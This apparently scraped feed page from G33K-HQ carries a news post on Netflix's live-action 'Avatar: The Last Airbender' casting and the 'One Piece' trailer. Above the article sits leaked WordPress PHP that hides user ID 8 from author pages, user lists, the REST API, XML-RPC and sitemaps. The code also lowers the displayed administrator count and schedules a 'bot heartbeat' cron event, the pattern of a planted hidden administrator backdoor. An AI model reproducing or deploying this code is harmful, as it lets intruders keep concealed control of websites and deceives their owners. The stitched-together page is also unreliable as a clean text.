add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 8;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 8 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 8;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 8;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 8;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 8;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Netflix Reveals a First Look at Live-Action “Avatar” and the “One Piece” Trailer appeared first on G33K-HQ.
]]>“Avatar: The Last Airbender” is a cartoon that aired on Nickelodeon from 2005-2008, along with its sequel, “The Legend of Korra” coming out in 2012. A new “Avatar” series, featuring the Earthbending successor to Korra, has been announced, but little else is know about it at this time.
The first attempt to bring “Avatar” to life was M. Night Shyamalan’s “The Last Airbender,” was not well-received, with a 5% critics score on Rotten Tomatoes, and a 30% audience score. It was criticized for its pacing, effects, whitewashing of characters, and the material it cut or completely skipped over in an attempt to fit an entire season of a TV show into a two-hour movie.
Netflix promises to have learned from this mistake, making the live-action adaptation a full series instead of a movie and working together with its co-creators, Michael Dante DiMartino and Bryan Konietzko. However, the two did step away from the project, leaving fans unsure of how it will go.
Fans have received their first look at the characters via a post on Netflix’s Twitter account, showing them Aang (Gordon Cormier), Katara (Kiawentiio Tarbell), Sokka (Ian Ousley), and Zuko (Dallas James Liu).
The Netflix adaptation of “Avatar: The Last Airbender” will release in 2024.
“One Piece” is one of the most popular anime and manga series in the world (if not the most), with the ongoing manga having recently exceeded 1,000 chapters. Netflix has been working together with creator Eiichiro Oda to bring the series to life, and released a trailer giving us a first look at the series:
The trailer gives us a look at several characters, including protagonist Luffy (Iñaki Godoy) and crewmates Zoro (or Zolo, depending on the translation) played by Mackenryu, Usopp (Jacob Gibson), Nami (Emily Rudd), and Sanji (Taz Skylar), as well as a quick look at several antagonists.
The “One Piece” adaptation will release on August 31, 2023.
Are you looking forward to either of these shows, or are you worried about Netflix’s track record with adaptations? What do you think of these first looks? Let us know in the comments and keep an eye out for more news from G33k-HQ.
The post Netflix Reveals a First Look at Live-Action “Avatar” and the “One Piece” Trailer appeared first on G33K-HQ.
]]>